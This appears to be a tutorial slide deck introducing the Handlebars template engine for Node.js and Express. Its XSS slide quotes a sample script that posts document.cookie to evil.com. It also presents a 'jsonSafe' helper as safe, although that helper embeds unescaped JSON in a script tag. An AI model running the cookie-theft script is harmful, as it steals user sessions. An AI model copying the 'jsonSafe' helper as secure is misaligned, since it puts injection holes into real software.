NODE.JS TEMPLATE ENGINES

Introduction to Handlebars

Logic-Less Templates — Powered by Mustache, Built for the Real World
19 slides · expressions, helpers, partials, security, performance · 2026
01

Agenda

Foundations

  • What Is Handlebars?
  • Basic Expressions
  • Built-in Helpers
  • Custom Helpers
  • Partials

Integration

  • Template Compilation
  • Handlebars in Node.js
  • Layouts & Views
  • Path Expressions & Context

Advanced

  • Subexpressions & Chaining
  • Security — XSS Prevention
  • Custom Decorators & Hooks
  • Performance & Precompilation

Production

  • Handlebars vs Other Engines
  • Real-World Project Structure
  • Complete Working Example
  • Summary & Next Steps
02

What Is Handlebars?

Philosophy: Logic-Less Templates

Handlebars is a superset of Mustache created by Yehuda Katz in 2010. It enforces separation of concerns by keeping business logic out of templates. You write HTML with {{ }} expressions — no arbitrary JS in your views.

Key Characteristics

  • Mustache-compatible — valid Mustache is valid Handlebars
  • Logic-less — no arbitrary JS; use helpers for logic
  • Precompilable — compile templates at build time for speed
  • ~3.2M weekly npm downloads — second most popular Node engine
  • Isomorphic — works in Node.js, browsers, and Deno

Install & Basic Use

npm install handlebars
const Handlebars = require('handlebars');

// Compile a template string
const template = Handlebars.compile(
  '<h1>{{title}}</h1>'
);

// Execute with data (context)
const html = template({ title: 'Hello HBS' });
// => '<h1>Hello HBS</h1>'

// From a file (Node.js)
const fs = require('fs');
const src = fs.readFileSync(
  './views/index.hbs', 'utf8'
);
const tpl = Handlebars.compile(src);
const output = tpl({ users: [...] });

File Extension

Convention: .hbs or .handlebars. Most projects use .hbs for brevity.

03

Basic Expressions — {{ }} and {{{ }}}

{{ }} — Escaped (Safe)

<!-- Template -->
<p>{{userInput}}</p>

<!-- Data: { userInput:
  '<script>alert("xss")</script>' } -->

<!-- Output -->
<p>&lt;script&gt;alert(&quot;xss&quot;)
&lt;/script&gt;</p>

Characters escaped: & < > " ' ` =

Simple Expressions

<!-- Property access -->
<h1>{{title}}</h1>

<!-- Nested property (dot notation) -->
<p>{{user.name}}</p>
<p>{{user.address.city}}</p>

<!-- Comments (not in output) -->
{{!-- This is a comment --}}
{{! Short comment }}

{{{ }}} — Unescaped (Raw HTML)

<!-- Template -->
<div>{{{richContent}}}</div>

<!-- Data: { richContent:
  '<strong>Bold</strong>' } -->

<!-- Output -->
<div><strong>Bold</strong></div>

HTML renders as-is. Dangerous with user input!

When To Use Triple Stache

  • Pre-sanitised CMS content (DOMPurify, sanitize-html)
  • Markdown-to-HTML output you control
  • Rendering trusted partials or snippets
  • Never with raw user input
04

Built-in Helpers — #if, #unless, #each, #with

#if / else

{{#if isAdmin}}
  <div class="badge admin">Admin</div>
{{else if isEditor}}
  <div class="badge editor">Editor</div>
{{else}}
  <div class="badge member">Member</div>
{{/if}}

<!-- #if is falsy-aware:
     false, undefined, null, "",
     0, [] all evaluate to false -->

#unless (Inverse of #if)

{{#unless loggedIn}}
  <a href="/login">Please sign in</a>
{{/unless}}

<!-- Equivalent to: -->
{{#if loggedIn}}{{else}}
  <a href="/login">Please sign in</a>
{{/if}}

#each (Iteration)

<!-- Array iteration -->
<ul>
  {{#each users}}
    <li>{{this.name}} — {{this.email}}</li>
  {{else}}
    <li>No users found.</li>
  {{/each}}
</ul>

<!-- Object iteration -->
<dl>
  {{#each config}}
    <dt>{{@key}}</dt>
    <dd>{{this}}</dd>
  {{/each}}
</dl>

#with (Change Context)

{{#with user.address}}
  <p>{{street}}, {{city}}</p>
  <p>{{postcode}}</p>
{{/with}}

<!-- Without #with you'd need:
     {{user.address.street}},
     {{user.address.city}} etc. -->
05

Custom Helpers

registerHelper — Inline Helpers

// Simple value helper
Handlebars.registerHelper(
  'uppercase', function(str) {
    return str.toUpperCase();
  }
);

// In template:
// {{uppercase user.name}}

// Multiple arguments
Handlebars.registerHelper(
  'currency', function(amount, curr) {
    return new Intl.NumberFormat('en-GB', {
      style: 'currency',
      currency: curr || 'GBP'
    }).format(amount);
  }
);

// {{currency product.price "USD"}}

Comparison Helper (Common Pattern)

Handlebars.registerHelper(
  'eq', function(a, b, options) {
    return a === b
      ? options.fn(this)
      : options.inverse(this);
  }
);

// {{#eq user.role "admin"}}
//   <span>Admin Panel</span>
// {{else}}
//   <span>Dashboard</span>
// {{/eq}}

Block Helpers

// Block helper with options.fn / options.inverse
Handlebars.registerHelper(
  'ifCond', function(v1, op, v2, options) {
    switch (op) {
      case '===': return v1 === v2
        ? options.fn(this)
        : options.inverse(this);
      case '<': return v1 < v2
        ? options.fn(this)
        : options.inverse(this);
      case '>': return v1 > v2
        ? options.fn(this)
        : options.inverse(this);
      default: return options.inverse(this);
    }
  }
);

// {{#ifCond cart.total ">" 100}}
//   <p>Free shipping!</p>
// {{/ifCond}}

Helper Best Practices

  • Keep helpers pure — no side effects, no DB calls
  • Return new Handlebars.SafeString() when outputting HTML
  • Use options.hash for named arguments: {{helper key=val}}
  • Register helpers once at app startup, not per request
06

Partials

registerPartial

// Register a named partial
Handlebars.registerPartial('nav',
  '<nav>{{#each links}}' +
  '<a href="{{url}}">{{label}}</a>' +
  '{{/each}}</nav>'
);

// Use in template:
// {{> nav}}
<!-- Pass data to partial -->
{{> userCard user}}

<!-- Pass hash parameters -->
{{> card title="Hello" body="World"}}

Partial Blocks (Fallback Content)

<!-- If 'sidebar' partial doesn't exist,
     the block content renders instead -->
{{#> sidebar}}
  <p>Default sidebar content</p>
{{/sidebar}}

<!-- The partial can yield back with: -->
<!-- {{> @partial-block}} -->

Dynamic Partials

<!-- Choose partial at runtime -->
{{> (lookup . 'partialName')}}

<!-- Example with data -->
<!-- { partialName: 'userCard' } -->
<!-- Renders the 'userCard' partial -->

Inline Partials

<!-- Define inline partial -->
{{#*inline "myItem"}}
  <li>{{name}} ({{role}})</li>
{{/inline}}

<!-- Use it in same template -->
<ul>
  {{#each team}}
    {{> myItem}}
  {{/each}}
</ul>

Tip

With express-handlebars, files in views/partials/ are auto-registered by filename. No manual registerPartial() needed.

07

Template Compilation

Handlebars.compile()

const source = '<h1>{{title}}</h1>';

// Compile to a reusable function
const template = Handlebars.compile(source);

// Execute with different data
template({ title: 'Page One' });
// => '<h1>Page One</h1>'

template({ title: 'Page Two' });
// => '<h1>Page Two</h1>'

Compile once, execute many times. The compiled function is a plain JS function.

Compilation Pipeline

.hbs file JS function HTML string parse + compile cached execute(data)

Handlebars.precompile() — Build Time

// At build time (Node.js)
const spec = Handlebars.precompile(source);
// => stringified JS spec (no runtime needed)

// Write to file
fs.writeFileSync(
  'templates.js',
  'var tpl = Handlebars.template('
  + spec + ');'
);
# CLI precompilation
npx handlebars views/ -f templates.js

Runtime-Only Bundle

<!-- Only 6KB instead of full 70KB -->
<script src="handlebars.runtime.js"></script>
<script src="templates.js"></script>
<script>
  var html = Handlebars.templates
    ['myTemplate']({ name: 'World' });
</script>

Precompiled templates only need the runtime (~6 KB) — not the full compiler (~70 KB).

08

Handlebars in Node.js — express-handlebars

Setup with Express

npm install express express-handlebars
const express = require('express');
const { engine } = require(
  'express-handlebars'
);

const app = express();

app.engine('hbs', engine({
  extname: '.hbs',
  defaultLayout: 'main',
  layoutsDir: 'views/layouts/',
  partialsDir: 'views/partials/'
}));
app.set('view engine', 'hbs');
app.set('views', './views');

Rendering a View

app.get('/', (req, res) => {
  res.render('home', {
    title: 'Home',
    user: { name: 'Alice' },
    books: [
      { title: '1984', author: 'Orwell' },
      { title: 'Dune', author: 'Herbert' }
    ]
  });
});

Register Helpers in Express

app.engine('hbs', engine({
  extname: '.hbs',
  defaultLayout: 'main',
  helpers: {
    currency: (n) =>
      new Intl.NumberFormat('en-GB', {
        style: 'currency',
        currency: 'GBP'
      }).format(n),

    dateShort: (d) =>
      new Date(d).toLocaleDateString(
        'en-GB',
        { day: 'numeric', month: 'short',
          year: 'numeric' }
      ),

    eq: (a, b) => a === b,
    json: (obj) => JSON.stringify(obj, null, 2)
  }
}));

Automatic Partial Discovery

Files in partialsDir are auto-registered by filename. views/partials/nav.hbs becomes {{> nav}}. Sub-folders become prefixed: components/card.hbs → {{> components/card}}.

09

Layouts & Views

Default Layout

<!-- views/layouts/main.hbs -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>{{title}} | {{siteName}}</title>
  <link rel="stylesheet" href="/css/style.css">
</head>
<body>
  {{> nav}}
  <main class="container">
    {{{body}}}
  </main>
  {{> footer}}
</body>
</html>

The {{{body}}} placeholder is where view content is injected (triple-stache because the body is pre-rendered HTML).

Custom Layout Per Route

// Use a different layout
app.get('/admin', (req, res) => {
  res.render('admin/dashboard', {
    title: 'Admin',
    layout: 'admin'
    // uses views/layouts/admin.hbs
  });
});

// No layout at all
app.get('/widget', (req, res) => {
  res.render('widget', {
    layout: false
  });
});

Nested Layouts (via Partials)

<!-- views/layouts/admin.hbs -->
<!DOCTYPE html>
<html>
<head><title>Admin</title></head>
<body>
  {{> admin-sidebar}}
  <main>{{{body}}}</main>
</body>
</html>

View File

<!-- views/home.hbs (just the content) -->
<h1>Welcome, {{user.name}}</h1>
<p>You have {{notifications}} new messages.</p>

Views contain only page-specific content. The layout wraps it automatically.

10

Path Expressions & Context

Parent Context with ../

<!-- Data: { title: "Books", items: [...] } -->

{{#each items}}
  <!-- Inside #each, context = current item -->
  <h3>{{this.name}}</h3>

  <!-- Access parent context -->
  <p>Part of: {{../title}}</p>

  <!-- Go up two levels -->
  <p>{{../../siteName}}</p>
{{/each}}

@root — Top-Level Context

<!-- Always reaches the root data
     regardless of nesting depth -->
{{#each categories}}
  {{#each items}}
    <p>Site: {{@root.siteName}}</p>
    <p>Item: {{this.name}}</p>
  {{/each}}
{{/each}}

@index, @first, @last, @key

<!-- Array data variables -->
{{#each users}}
  <tr class="{{#if @first}}first{{/if}}
              {{#if @last}}last{{/if}}">
    <td>{{@index}}</td>
    <td>{{this.name}}</td>
  </tr>
{{/each}}

<!-- Object data variable -->
{{#each settings}}
  <dt>{{@key}}</dt>
  <dd>{{this}}</dd>
{{/each}}

this & Literal Segments

<!-- this refers to current context -->
{{#each tags}}
  <span>{{this}}</span>
{{/each}}

<!-- Literal segment for special keys -->
{{[special-key]}}
{{article.[#comment]}}
11

Subexpressions & Chaining

Subexpression Syntax: (helper arg)

<!-- Nest helpers with parentheses -->
{{uppercase (truncate title 30)}}

<!-- Equivalent to: -->
<!-- 1. truncate(title, 30) -->
<!-- 2. uppercase(result) -->

<!-- Use as argument to block helpers -->
{{#if (eq status "active")}}
  <span class="badge-active">Active</span>
{{/if}}

Composing Helpers

// Register composable helpers
Handlebars.registerHelper({
  add:  (a, b) => a + b,
  mul:  (a, b) => a * b,
  gt:   (a, b) => a > b,
  and:  (a, b) => a && b,
  or:   (a, b) => a || b,
  not:  (a) => !a
});
<!-- Chained subexpressions -->
{{#if (gt (add price tax) 100)}}
  <p>Free shipping!</p>
{{/if}}

{{#if (and isLoggedIn (not isBanned))}}
  <button>Post Comment</button>
{{/if}}

Dynamic Partials via Subexpressions

<!-- Select partial dynamically -->
{{> (lookup . 'cardType') data}}

<!-- With a helper -->
{{> (whichPartial user.role) user}}
Handlebars.registerHelper(
  'whichPartial', function(role) {
    return role === 'admin'
      ? 'admin-card'
      : 'user-card';
  }
);

Hash Arguments

<!-- Named parameters via hash -->
{{link "Home" href="/" class="nav-link"}}

<!-- In the helper: -->
<!-- options.hash.href => "/" -->
<!-- options.hash.class => "nav-link" -->
Handlebars.registerHelper(
  'link', function(text, options) {
    const h = options.hash;
    return new Handlebars.SafeString(
      `<a href="${h.href}" class="${h.class}">`
      + `${text}</a>`
    );
  }
);
12

Security — XSS Prevention

The Danger: Cross-Site Scripting

<!-- VULNERABLE: triple-stache with user input -->
<div>{{{userComment}}}</div>

<!-- If userComment contains: -->
<script>
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: document.cookie
  });
</script>

<!-- SAFE: double-stache auto-escapes -->
<div>{{userComment}}</div>

Rule of Thumb

ScenarioSyntax
User-supplied text{{ }} always
Layout body injection{{{ }}} (required)
CMS / Markdown HTML{{{ }}} after sanitising
JSON in script tagHelper + SafeString

SafeString & Sanitisation

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

// Custom helper for safe HTML
Handlebars.registerHelper(
  'safeHtml', function(html) {
    const clean = DOMPurify.sanitize(html, {
      ALLOWED_TAGS: ['b','i','p','a','ul','li'],
      ALLOWED_ATTR: ['href']
    });
    return new Handlebars.SafeString(clean);
  }
);
<!-- Template — safe after sanitisation -->
<article>{{safeHtml content}}</article>

Embedding Data in JS Safely

Handlebars.registerHelper(
  'jsonSafe', function(obj) {
    return new Handlebars.SafeString(
      JSON.stringify(obj)
    );
  }
);
<script>
  const data = {{jsonSafe serverData}};
</script>
13

Custom Decorators & Hooks

What Are Decorators?

Decorators modify the template program itself before execution. Unlike helpers (which produce output), decorators transform behaviour. They run at compile time and can modify the program's internal state.

registerDecorator

Handlebars.registerDecorator(
  'bold', function(program, props,
    container, context) {
    // Wrap all string output in <strong>
    const original = program;
    program = function() {
      return '<strong>'
        + original.apply(this, arguments)
        + '</strong>';
    };
    return program;
  }
);

// In template:
// {{* bold}}
// {{title}} <!-- wrapped in <strong> -->

Practical Use: Internationalization

// Decorator that adds i18n helpers
// to the template's context
Handlebars.registerDecorator(
  'i18n', function(program, props,
    container, context) {
    // Add translation function
    props.t = function(key) {
      return translations[
        context.data.root.locale
      ][key] || key;
    };
    return program;
  }
);

Hooks: JavaScriptCompiler Override

// Override the compiler for custom behaviour
const CustomCompiler =
  function() {};
CustomCompiler.prototype =
  Object.create(
    Handlebars.JavaScriptCompiler.prototype
  );
CustomCompiler.prototype.compiler =
  CustomCompiler;

// Override methods for custom codegen

When To Use

Decorators and compiler hooks are advanced patterns. Most applications only need helpers and partials. Reach for decorators when you need to transform template behaviour globally.

14

Performance & Precompilation

compile() vs precompile()

MethodWhenOutput
compile()RuntimeExecutable function
precompile()Build timeSerialised JS spec
template()RuntimeHydrates precompiled spec

precompile() is faster at runtime because parsing + compilation happen at build time. The client only needs the 6 KB runtime.

CLI Precompilation

# Precompile all .hbs files in views/
npx handlebars views/ -f dist/templates.js

# Minified output
npx handlebars views/ -f dist/templates.js -m

# With CommonJS wrapper
npx handlebars views/ -f dist/templates.js -c

Express View Cache

// express-handlebars caches by default
// in production (NODE_ENV=production)

// Force caching in development:
app.engine('hbs', engine({
  extname: '.hbs',
  defaultLayout: 'main',
  cache: true  // not recommended in dev
}));

// Express-level view cache
app.set('view cache', true);

Performance Tips

  • Precompile templates for client-side use
  • Ship handlebars.runtime.js (6 KB) not the full library (70 KB)
  • Enable view cache in production
  • Keep partials small and flat (avoid deep nesting)
  • Move computation to route handlers, not helpers
  • Use knownHelpers and knownHelpersOnly for faster compilation

Benchmarks (Approximate)

EngineRenders/sec
Handlebars (precompiled)~35,000
EJS (cached)~28,000
Pug (cached)~22,000
Nunjucks (cached)~18,000
15

Handlebars vs Other Template Engines

FeatureHandlebarsEJSPugNunjucks
Syntax Mustache {{ }} HTML + JS tags Indentation-based Jinja2-style {% %}
Learning Curve Low Minimal Moderate Low-Moderate
JS in Templates No (logic-less) Full JS access Full JS access Limited expressions
Layouts Built-in via express-handlebars Via plugin/includes Built-in extends Built-in extends
Auto-Escape {{ }} escapes <%= %> escapes Default escaped Default escaped
Precompilation Built-in CLI Via ejs.compile() pug.compileClient() nunjucks.precompile()
npm Weekly DLs ~3.2M ~4.7M ~1.5M ~0.9M
Best For Logic separation, teams JS devs, rapid dev Clean markup fans Python devs, i18n

When to choose Handlebars: You want strict logic/view separation, precompilation, and Mustache compatibility. When not to choose Handlebars: You need full JS expressions in templates or built-in async support.

16

Real-World Express + Handlebars Project Structure

Directory Layout

my-app/
├── app.js
├── package.json
├── .env
├── config/
│   └── db.js
├── routes/
│   ├── index.js
│   ├── auth.js
│   └── products.js
├── controllers/
│   ├── authController.js
│   └── productController.js
├── models/
│   ├── User.js
│   └── Product.js
├── middleware/
│   ├── auth.js
│   └── validate.js
├── helpers/
│   └── hbs-helpers.js
├── views/
│   ├── layouts/
│   │   ├── main.hbs
│   │   └── admin.hbs
│   ├── partials/
│   │   ├── nav.hbs
│   │   ├── flash.hbs
│   │   ├── footer.hbs
│   │   └── components/
│   │       ├── card.hbs
│   │       └── modal.hbs
│   ├── home.hbs
│   ├── about.hbs
│   ├── auth/
│   │   ├── login.hbs
│   │   └── register.hbs
│   ├── products/
│   │   ├── index.hbs
│   │   ├── show.hbs
│   │   └── edit.hbs
│   └── error.hbs
└── public/
    ├── css/
    │   └── style.css
    ├── js/
    │   └── main.js
    └── images/

Key Principles

  • views/layouts/ — HTML shells with {{{body}}}
  • views/partials/ — auto-registered by filename
  • views/partials/components/ — reusable UI (card, modal)
  • views/{resource}/ — CRUD views per model
  • helpers/ — custom Handlebars helpers
  • public/ — static assets served by Express

Helpers File Pattern

// helpers/hbs-helpers.js
module.exports = {
  currency: (n) =>
    new Intl.NumberFormat('en-GB', {
      style: 'currency',
      currency: 'GBP'
    }).format(n),
  eq: (a, b) => a === b,
  truncate: (str, len) =>
    str.length > len
      ? str.slice(0, len) + '...'
      : str
};

Naming Conventions

Use index.hbs for list views, show.hbs for detail, edit.hbs / new.hbs for forms. Sub-directories under partials/ create namespaced partials.

17

Complete Working Example

app.js — Full Express + Handlebars App

const express = require('express');
const { engine } = require(
  'express-handlebars'
);
const path = require('path');
const app = express();

app.engine('hbs', engine({
  extname: '.hbs',
  defaultLayout: 'main',
  helpers: {
    eq: (a, b) => a === b,
    year: () => new Date().getFullYear()
  }
}));
app.set('view engine', 'hbs');
app.set('views',
  path.join(__dirname, 'views'));
app.use(express.urlencoded(
  { extended: true }
));
app.use(express.static('public'));

let books = [
  { id: 1, title: '1984',
    author: 'Orwell', year: 1949 },
  { id: 2, title: 'Dune',
    author: 'Herbert', year: 1965 },
];
let nextId = 3;

app.get('/', (req, res) => {
  res.render('home', {
    title: 'Home',
    siteName: 'BookShelf',
    books,
    hasBooks: books.length > 0
  });
});

app.get('/books/new', (req, res) => {
  res.render('books/new', {
    title: 'Add Book',
    siteName: 'BookShelf',
    form: {}, error: null
  });
});

app.post('/books', (req, res) => {
  const { title, author, year } = req.body;
  if (!title || !author) {
    return res.render('books/new', {
      title: 'Add Book',
      siteName: 'BookShelf',
      form: req.body,
      error: 'All fields required'
    });
  }
  books.push({
    id: nextId++, title, author,
    year: parseInt(year)
  });
  res.redirect('/');
});

app.listen(3000);

views/layouts/main.hbs

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>{{title}} | {{siteName}}</title>
  <link rel="stylesheet" href="/css/style.css">
</head>
<body>
  {{> nav}}
  <main class="container">
    {{{body}}}
  </main>
  <footer>&copy; {{year}} {{siteName}}</footer>
</body>
</html>

views/home.hbs

<h1>All Books</h1>
<a href="/books/new">+ Add Book</a>
{{#if hasBooks}}
  <table>
    <tr><th>Title</th><th>Author</th><th>Year</th></tr>
    {{#each books}}
      <tr>
        <td>{{this.title}}</td>
        <td>{{this.author}}</td>
        <td>{{this.year}}</td>
      </tr>
    {{/each}}
  </table>
{{else}}
  <p>No books yet.</p>
{{/if}}

views/books/new.hbs

<h1>Add a Book</h1>
{{#if error}}
  <p class="error">{{error}}</p>
{{/if}}
<form method="POST" action="/books">
  <input name="title" placeholder="Title"
    value="{{form.title}}">
  <input name="author" placeholder="Author"
    value="{{form.author}}">
  <input name="year" placeholder="Year"
    value="{{form.year}}">
  <button type="submit">Save</button>
</form>
18

Summary & Next Steps

Core Takeaways

  • Handlebars = Mustache-compatible, logic-less templates
  • {{ }} for escaped, {{{ }}} for raw
  • Built-in helpers: #if, #unless, #each, #with
  • Custom helpers for all logic — keeps views clean
  • Auto-escaping prevents XSS by default

Best Practices

  • Always use {{ }} for user data
  • Keep templates logic-free — use helpers
  • Organise partials by feature/component
  • Precompile for client-side performance
  • Ship the runtime, not the full compiler
  • Enable view cache in production

Next Steps

  • Build a CRUD app with Express + Handlebars
  • Add authentication (Passport.js + HBS forms)
  • Set up precompilation in your build pipeline
  • Create a reusable component partial library
  • Explore subexpressions for complex UI logic
  • Try HTMX + Handlebars for dynamic updates

Essential Resources

  • Official Docs: handlebarsjs.com
  • GitHub: github.com/handlebars-lang/handlebars.js
  • npm: npmjs.com/package/handlebars
  • Express Integration: npmjs.com/package/express-handlebars

Key Packages

PackagePurpose
handlebarsTemplate engine
express-handlebarsExpress integration + layouts
handlebars-loaderWebpack integration
dompurify + jsdomHTML sanitisation
express-validatorForm validation